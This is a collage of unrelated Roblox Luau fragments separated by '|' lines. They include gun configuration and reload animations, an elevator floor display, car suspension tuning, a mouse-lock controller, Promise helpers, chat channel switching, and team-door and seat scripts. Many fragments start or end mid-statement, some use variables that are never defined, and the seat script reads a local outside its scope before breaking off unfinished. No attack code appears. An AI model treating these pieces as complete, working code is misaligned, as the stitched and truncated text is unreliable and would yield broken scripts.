,ProneRecover = 1 --- Stamina recovery while lying
,EnableGPS = false --- GPS shows your allies around you
,GPSdistance = 150
,InteractionMenuKey = Enum.KeyCode.F15
|
-- ====================
-- BASIC
-- A basic settings for the gun
-- ====================
|
UseCommonVisualEffects = true; --Enable to use default visual effect folder named "Common". Otherwise, use visual effect with specific tool name (ReplicatedStorage -> Miscs -> GunVisualEffects)
AutoReload = true; --Reload automatically when you run out of mag; disabling it will make you reload manually
PrimaryHandle = "Handle";
SecondaryHandle = "Handle2"; --Check "DualWeldEnabled" for detail
CustomGripEnabled = false; --NOTE: Must disable "RequiresHandle" first
CustomGripName = "Handle";
CustomGripPart0 = {"Character", "Right Arm"}; --Base
CustomGripPart1 = {"Tool", "Handle"}; --Target
AlignC0AndC1FromDefaultGrip = true;
CustomGripCFrame = false;
CustomGripC0 = CFrame.new(0, 0, 0);
CustomGripC1 = CFrame.new(0, 0, 0);
--CustomGripPart[0/1] = {Ancestor, InstanceName}
--Supported ancestors: Tool, Character
--NOTE: Don't set "CustomGripName" to "RightGrip"
|
-- set the text of the TextLabel to the current date and time with AM/PM
|
textLabel.Text = currentTimeString
|
--// Animations
|
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
-- Reload Anim
ReloadAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0, -4.37113883e-08, 1, -0.167529613, -0.985867023, -4.30936176e-08), function(X) return math.sin(math.rad(X)) end, 0.5)
TweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -1.82817471, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.5)
wait(0.5)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
TweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -3.00337243, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.3)
TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0.0120280236, 0.0707816631, 0.997419298, -0.16709727, -0.983322799, 0.0717963576), function(X) return math.sin(math.rad(X)) end, 0.1)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-1.11434817, 0.317047596, -0.672240019, 0.658346057, -0.747599542, -0.0876094475, 0.0672011375, -0.0575498641, 0.996078312, -0.749709547, -0.661651671, 0.0123518109), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.6)
objs[6]:WaitForChild('MagIn'):Play()
TweenJoint(objs[3], nil , CFrame.new(-0.273085892, 0.654289246, -1.48434556, 0.613444746, -0.780330896, 0.121527649, -0.413143814, -0.185948789, 0.891479254, -0.673050761, -0.597081661, -0.43645826), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.4)
MagC:Destroy()
objs[4].Transparency = 0
end;
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.561492503, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0, 1.19248806e-08, 1, 0.173648179, -0.98480773, 1.17437144e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.379443169, -1.24877262, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.3)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.578711689, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.311225414, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0.0128111057, -0.0726553723, 0.997274816, 0.173174962, -0.982123971, -0.0737762004), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.2)
end;
BoltForwardAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -1.50949407, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.653734565, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, -0.00113785546, 0.00645311177, 0.999978542, 0.173644453, -0.98478663, 0.00655265898), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.1)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.001)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.001)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(Tool:WaitForChild('Mag').CFrame)
Tool.Mag.Transparency = 1
Tool:WaitForChild('Grip'):WaitForChild("MagOut"):Play()
ts:Create(objs[2],TweenInfo.new(0.15),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.55972552, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.13)
ts:Create(objs[2],TweenInfo.new(0.20),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.28149843, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
wait(0.20)
ts:Create(objs[1],TweenInfo.new(0.5),{C1 = CFrame.new(0.447846293, -0.650498748, -1.82401526, 0.761665463, -0.514432132, 0.393986136, -0.646156013, -0.55753684, 0.521185875, -0.0484529883, -0.651545882, -0.75706023)}):Play()
wait(0.8)
ts:Create(objs[1],TweenInfo.new(0.6),{C1 = CFrame.new(0.447846293, 0.654529572, -2.9755671, 0.761665463, -0.514432132, 0.393986136, -0.568886042, -0.239798605, 0.786679745, -0.31021595, -0.823320091, -0.475299776)}):Play()
wait(0.5)
Tool:WaitForChild('Grip'):WaitForChild("MagIn"):Play()
ts:Create(objs[1],TweenInfo.new(0.3),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(0.3)
MagC:Destroy()
Tool.Mag.Transparency = 0
wait(0.1)
end;
nadeReload = function(char, speed, objs)
ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()
wait(0.6)
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()
wait(0.6)
end;
AttachAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(-2.05413628, -0.386312962, -0.955676377, 0.5, 0, -0.866025329, 0.852868497, -0.17364797, 0.492403895, -0.150383547, -0.984807789, -0.086823985), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , CFrame.new(0.931334019, 1.66565645, -1.2231313, 0.787567914, -0.220087856, 0.575584888, -0.0180282295, 0.925416708, 0.378521889, -0.615963817, -0.308488399, 0.724860728), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- Patrol Anim
PatrolAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , sConfig.PatrolPosR, function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[2], nil , sConfig.PatrolPosL, function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
}
return Settings
|
---------------------------------------------------
|
This = script.Parent
CustomLabel = require(This.Parent.Parent.Parent.CustomLabel)
Characters = require(script.Characters)
CustomText = CustomLabel["CUSTOMFLOORLABEL"]
This.Parent.Parent.Parent:WaitForChild("Floor").Changed:connect(function(floor)
--custom indicator code--
ChangeFloor(tostring(floor))
end)
function ChangeFloor(SF)
if CustomText[tonumber(SF)] then
SF = CustomText[tonumber(SF)]
end
SetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or "NIL"))
SetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or tostring(SF) == "1" and "1S" or SF))
end
function SetDisplay(ID,CHAR)
if This.Display:FindFirstChild("DIG"..ID) and Characters[CHAR] ~= nil then
for i,l in pairs(Characters[CHAR]) do
for r=1,13 do
This.Display["DIG"..ID]["D"..r].Color = (l:sub(r,r) == "1" and DisplayColor or DisabledColor)
This.Display["DIG"..ID]["D"..r].Material = (l:sub(r,r) == "1" and "Neon" or "Neon")
end
end
end
end
|
--Mobile Support--
|
local Buttons = script.Parent:WaitForChild("Buttons")
local Left = Buttons:WaitForChild("Left")
local Right = Buttons:WaitForChild("Right")
local Brake = Buttons:WaitForChild("Brake")
local Gas = Buttons:WaitForChild("Gas")
local Handbrake = Buttons:WaitForChild("Handbrake")
if UserInputService.TouchEnabled and not UserInputService.MouseEnabled then
Buttons.Visible = true
end
local function LeftTurn(Touch, GPE)
if Touch.UserInputState == Enum.UserInputState.Begin then
_GSteerT = -1
_SteerL = true
else
if _SteerR then
_GSteerT = 1
else
_GSteerT = 0
end
_SteerL = false
end
end
Left.InputBegan:Connect(LeftTurn)
Left.InputEnded:Connect(LeftTurn)
|
--[=[
Yields the current thread until the given Promise completes. Returns the Promise's status, followed by the values that the promise resolved or rejected with.
@yields
@return Status -- The Status representing the fate of the Promise
@return ...any -- The values the Promise resolved or rejected with.
]=]
|
function Promise.prototype:awaitStatus()
self._unhandledRejection = false
if self._status == Promise.Status.Started then
local bindable = Instance.new("BindableEvent")
self:finally(function()
bindable:Fire()
end)
bindable.Event:Wait()
bindable:Destroy()
end
if self._status == Promise.Status.Resolved then
return self._status, unpack(self._values, 1, self._valuesLength)
elseif self._status == Promise.Status.Rejected then
return self._status, unpack(self._values, 1, self._valuesLength)
end
return self._status
end
local function awaitHelper(status, ...)
return status == Promise.Status.Resolved, ...
end
|
--[[Susupension]]
|
Tune.SusEnabled = false -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FSusMaxExt = .3 -- Max Extension Travel (in studs)
Tune.FSusMaxComp = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RSusMaxExt = .3 -- Max Extension Travel (in studs)
Tune.RSusMaxComp = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Really black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-- Runs to modify the player after they've gotten an upgrade
|
function UpgradeManager:SetWalkspeedToCurrentUpgrade(player)
local stats = player:WaitForChild("stats")
local playerUpgrades = stats:WaitForChild(GameSettings.upgradeName)
local points = stats:WaitForChild(GameSettings.pointsName)
--Change the players movement speed
local character = player.Character or player.CharacterAdded:wait()
local humanoid = character:WaitForChild("Humanoid")
humanoid.WalkSpeed = GameSettings.movementSpeed(playerUpgrades.Value)
end
|
--[[ The Module ]]
|
--
local MouseLockController = {}
MouseLockController.__index = MouseLockController
local Player = game.Players.LocalPlayer
local Character = Player.Character or Player.CharacterAdded:Wait()
function MouseLockController.new()
local self = setmetatable({}, MouseLockController)
self.isMouseLocked = false
self.savedMouseCursor = nil
self.boundKeys = {Enum.KeyCode.LeftControl} -- defaults
self.mouseLockToggledEvent = Instance.new("BindableEvent")
local boundKeysObj: StringValue = script:FindFirstChild("BoundKeys") :: StringValue
if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then
-- If object with correct name was found, but it's not a StringValue, destroy and replace
if boundKeysObj then
boundKeysObj:Destroy()
end
boundKeysObj = Instance.new("StringValue")
boundKeysObj.Name = "BoundKeys"
boundKeysObj.Value = "LeftShift,RightShift"
boundKeysObj.Parent = script
end
if boundKeysObj then
boundKeysObj.Changed:Connect(function(value)
self:OnBoundKeysObjectChanged(value)
end)
self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call
end
-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly
GameSettings.Changed:Connect(function(property)
if property == "ControlMode" or property == "ComputerMovementMode" then
self:UpdateMouseLockAvailability()
end
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function()
self:UpdateMouseLockAvailability()
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
self:UpdateMouseLockAvailability()
end)
self:UpdateMouseLockAvailability()
return self
end
function MouseLockController:GetIsMouseLocked()
return self.isMouseLocked
end
function MouseLockController:GetBindableToggleEvent()
return self.mouseLockToggledEvent.Event
end
function MouseLockController:GetMouseLockOffset()
local offsetValueObj: Vector3Value = script:FindFirstChild("CameraOffset") :: Vector3Value
if offsetValueObj and offsetValueObj:IsA("Vector3Value") then
return offsetValueObj.Value
else
-- If CameraOffset object was found but not correct type, destroy
if offsetValueObj then
offsetValueObj:Destroy()
end
offsetValueObj = Instance.new("Vector3Value")
offsetValueObj.Name = "CameraOffset"
offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value
offsetValueObj.Parent = script
end
if offsetValueObj and offsetValueObj.Value then
return offsetValueObj.Value
end
return Vector3.new(1.75,0,0)
end
function MouseLockController:UpdateMouseLockAvailability()
local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock
local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable
local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch
local userHasClickToMoveEnabled = GameSettings.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove
local MouseLockAvailable = devAllowsMouseLock and userHasMouseLockModeEnabled and not userHasClickToMoveEnabled and not devMovementModeIsScriptable
if MouseLockAvailable~=self.enabled then
self:EnableMouseLock(MouseLockAvailable)
end
end
function MouseLockController:OnBoundKeysObjectChanged(newValue: string)
self.boundKeys = {} -- Overriding defaults, note: possibly with nothing at all if boundKeysObj.Value is "" or contains invalid values
for token in string.gmatch(newValue,"[^%s,]+") do
for _, keyEnum in pairs(Enum.KeyCode:GetEnumItems()) do
if token == keyEnum.Name then
self.boundKeys[#self.boundKeys+1] = keyEnum :: Enum.KeyCode
break
end
end
end
self:UnbindContextActions()
self:BindContextActions()
end
|
--Give panel on login/respawn
|
game.Players.PlayerAdded:connect(function(player)
player.CharacterAdded:connect(function(character)
wait()
local player = game.Players:GetPlayerFromCharacter(character)
givePanel(player)
end)
end)
|
--[[
Note to self replace this with a general
function in the main server later
]]
|
wait(1);
local TS = game.TweenService;
local R = Random.new(tick()*os.time());
local OnTime = {5,10};
local WaitTime = {5,10}; -- Time between turning on
local N = script.Parent.Parent.Neon;
local A = script.Parent;
function Start ()
N.A1.A.Enabled = true;
A.Alarm:Play();
N.A1.Light.Enabled = true;
wait(2);
N.A1.Glow.Enabled = true;
wait(1);
A.Alarm:Stop();
A.Start:Play();
N.A4.Smoke.Enabled = true;
spawn(function ()
wait(3.0);
A.Mid:Play();
end);
wait(1.5);
N.A1.BLaser1.Enabled = true;
N.A1.BLaser2.Enabled = true;
for i, child in pairs(N.A3:GetChildren()) do
child.Enabled = true;
end
end
function Spin ()
end
function Update ()
-- Spin
end
function End ()
A.Alarm:Play();
A.End:Play();
wait(0.2);
A.Mid:Stop();
wait(0.5);
A.Alarm:Stop();
N.A1.Light.Enabled = false;
N.A4.Smoke.Enabled = false;
N.A1.A.Enabled = false;
N.A1.Glow.Enabled = false;
N.A1.BLaser1.Enabled = false;
N.A1.BLaser2.Enabled = false;
for i, child in pairs(N.A3:GetChildren()) do
child.Enabled = false;
end
end
wait(4);
while true do
local Total = R:NextNumber(OnTime[1], OnTime[2]);
Start ();
for i = 0, Total, 1 do
Update();
wait(1);
end
End();
wait(R:NextNumber(WaitTime[1], WaitTime[2]));
end
|
--[=[
Same as [Rx.of] but wraps it in a Brio.
@param ... T
@return Observable<Brio<T>>
]=]
|
function RxBrioUtils.of(...)
return Rx.of(...):Pipe({
RxBrioUtils.toBrio()
})
end
|
--!strict
|
type Object = { [string]: any }
type Array<T> = { [number]: T }
local function freeze<T>(t: T & (Object | Array<any>)): T
-- Luau FIXME: model freeze better so it passes through the type constraint and doesn't erase
return (table.freeze(t) :: any) :: T
end
return freeze
|
--local GENERATION_SEED = math.random(1266073872) -- Seed for determining the main height map of the terrain.
|
local rnd = Random.new(os.time())-- мой Id 1266073872
local GENERATION_SEED = rnd:NextNumber() -- Seed for determining the main height map of the terrain.
local RADIUS = game.Workspace.Village.Radius.Value/2/CHUNK_SCALE -- CHUNK_SCALE*5 -- радиус деревни
local R_SCALE = 3 -- растояние пологости от деревни в её радиусах
|
-- Represents a FastCastBehavior :: https://etithespirit.github.io/FastCastAPIDocs/fastcast-objects/fcbehavior/
|
export type FastCastBehavior = {
RaycastParams: RaycastParams?,
TravelType: string,
MaxDistance: number,
Lifetime: number,
Acceleration: Vector3,
HighFidelityBehavior: number,
HighFidelitySegmentSize: number,
CosmeticBulletTemplate: Instance?,
CosmeticBulletProvider: any, -- Intended to be a PartCache. Dictated via TypeMarshaller.
CosmeticBulletContainer: Instance?,
RaycastHitbox: GenericTable,
CurrentCFrame: CFrame,
ModifiedDirection: Vector3,
AutoIgnoreContainer: boolean,
HitEventOnTermination: boolean,
Hitscan: boolean,
CanPenetrateFunction: CanPenetrateFunction,
CanHitFunction: CanHitFunction,
}
|
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
|
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end)
if ChatLocalization == nil then ChatLocalization = { Get = function(self, key, default) return default end } end
function ProcessMessage(message, ChatWindow, ChatSettings)
if string.sub(message, 1, 3):lower() ~= "/c " then
return false
end
local channelName = string.sub(message, 4)
local targetChannel = ChatWindow:GetChannel(channelName)
if targetChannel then
ChatWindow:SwitchCurrentChannel(channelName)
if not ChatSettings.ShowChannelsBar then
local currentChannel = ChatWindow:GetCurrentChannel()
if currentChannel then
util:SendSystemMessageToSelf(
string.gsub(ChatLocalization:Get(
"GameChat_SwitchChannel_NowInChannel",
string.format("You are now chatting in channel: '%s'", channelName),
{RBX_NAME = channelName}
),"{RBX_NAME}",channelName),
targetChannel, {}
)
end
end
else
local currentChannel = ChatWindow:GetCurrentChannel()
if currentChannel then
util:SendSystemMessageToSelf(
string.gsub(ChatLocalization:Get(
"GameChat_SwitchChannel_NotInChannel",
string.format("You are not in channel: '%s'", channelName),
{RBX_NAME = channelName}
),"{RBX_NAME}",channelName),
currentChannel, {ChatColor = Color3.fromRGB(245, 50, 50)}
)
end
end
return true
end
return {
[util.KEY_COMMAND_PROCESSOR_TYPE] = util.COMPLETED_MESSAGE_PROCESSOR,
[util.KEY_PROCESSOR_FUNCTION] = ProcessMessage
}
|
-- ANimation
|
local Sound = script:WaitForChild("Haoshoku Sound")
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == 1 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 2
Track1 = plr.Character.Humanoid:LoadAnimation(script.AnimationCharge)
Track1:Play()
script.RemoteEventS:FireServer()
for i = 1,math.huge do
if Debounce == 2 then
plr.Character.HumanoidRootPart.Anchored = true
else
break
end
wait()
end
end
end)
UIS.InputEnded:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.C and Debounce == 2 and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = 3
local Track2 = plr.Character.Humanoid:LoadAnimation(script.AnimationRelease)
Track2:Play()
Track1:Stop()
Sound:Play()
local mousepos = Mouse.Hit
script.RemoteEvent:FireServer(mousepos,Mouse.Hit.p)
wait(1)
plr.Character.LeftHand.EFhand:Destroy()
plr.Character.RightHand.EFhand:Destroy()
Track2:Stop()
wait(.5)
Tool.Active.Value = "None"
wait(1.5)
plr.Character.HumanoidRootPart.Anchored = false
wait(5)
Debounce = 1
end
end)
|
----------------------------------------DONT EDIT BELOW------------------------------------------------------------------------------
|
Color=BrickColor.new(TeamColor)
on=false
s=script.Parent
ss=script.Parent:clone()
s.BrickColor=Color
function Check(hit) if on then return end
if hit==nil then return end
local player=game.Players:FindFirstChild(hit.Parent.Name)
if player==nil then return end
on=true
if player.TeamColor==Color then
s.Transparency=0.6
s.CanCollide=false
wait(Time)
s.Transparency=ss.Transparency
s.CanCollide=true
else
local h=player.Character:FindFirstChild("Humanoid")
local t=player.Character:FindFirstChild("Torso")
if t==nil or h==nil then s.CanCollide=true s.Transparency=ss.Transparency on=false return end
if AntiHack==1 then
h.Sit=true
t.Velocity=t.CFrame:inverse().lookVector*80
elseif AntiHack==2 then
h.Health=0
elseif AntiHack==0 then
else hit.Parent=nil
end
end
on=false
end
s.Touched:connect(Check)
|
---Model By: Midnight Productions
|
location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()
function onClicked()
regen:remove()
wait(.2)
local back = save:clone()
back.Parent = location
back:MakeJoints()
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Compiled with roblox-ts v1.3.3
--[[
*
* Set a variable's type to a new case of the same variant.
* @param obj object of concern.
* @param _type new type tag. Restricted to keys of the variant.
* @param _typeKey discriminant key.
]]
|
local function cast(obj, _type, _typeKey)
return obj
end
return {
cast = cast,
}
|
--- Recalculate the window height
|
function Window:UpdateWindowHeight()
local windowHeight = Gui.UIListLayout.AbsoluteContentSize.Y
+ Gui.UIPadding.PaddingTop.Offset
+ Gui.UIPadding.PaddingBottom.Offset
Gui.Size = UDim2.new(Gui.Size.X.Scale, Gui.Size.X.Offset, 0, math.clamp(windowHeight, 0, WINDOW_MAX_HEIGHT))
Gui.CanvasPosition = Vector2.new(0, windowHeight)
end
|
--script.Parent.WaterUp.Disabled = false
|
wait(0.3)
|
--[=[
@param obj any
@return boolean
Returns `true` if `obj` is an Option.
]=]
|
function Option.Is(obj)
return type(obj) == "table" and getmetatable(obj) == Option
end
|
-- Print that runs only if debug mode is active.
|
local function PrintDebug(message: string)
if FastCast.DebugLogging == true then
print(message)
end
end
|
--
|
local function re_index(self, index)
return re_m[index] or proxy[self].flags[index];
end;
local function re_tostr(self)
return proxy[self].pattern_repr .. proxy[self].flag_repr;
end;
|
-- ALEX WAS HERE LOL
|
local u1 = nil;
coroutine.wrap(function()
u1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
end)();
local v1 = Random.new();
return function()
return string.gsub(u1.HttpService:GenerateGUID(false), "-", "");
end;
|
--Don't worry about the rest of the code, except for line 25.
|
game.Players.PlayerAdded:connect(function(player)
local leader = Instance.new("Folder",player)
leader.Name = "Skins"
local Cash = Instance.new("StringValue",leader)
Cash.Name = stat
Cash.Value = ds:GetAsync(player.UserId) or startamount
ds:SetAsync(player.UserId, Cash.Value)
Cash.Changed:connect(function()
ds:SetAsync(player.UserId, Cash.Value)
end)
end)
game.Players.PlayerRemoving:connect(function(player)
ds:SetAsync(player.UserId, player.Skins.Equipped.Value) --Change "Points" to the name of your leaderstat.
end)
|
-- made by Weeve. for all of you lamo scripters out there, can you at least leave my name here?
-- don't edit anything here
|
seat = script.Parent
function onChildAdded(part)
if (part.className == "Weld") then
while true do
local welde = seat:FindFirstChild("SeatWeld")
if (welde ~= nil) then
local sitted = welde.Part1.Parent
end
if (sitted.Name ~= script.Parent.Owner.Value) then
if (script.Parent.Owner.Value == "NoOne") then
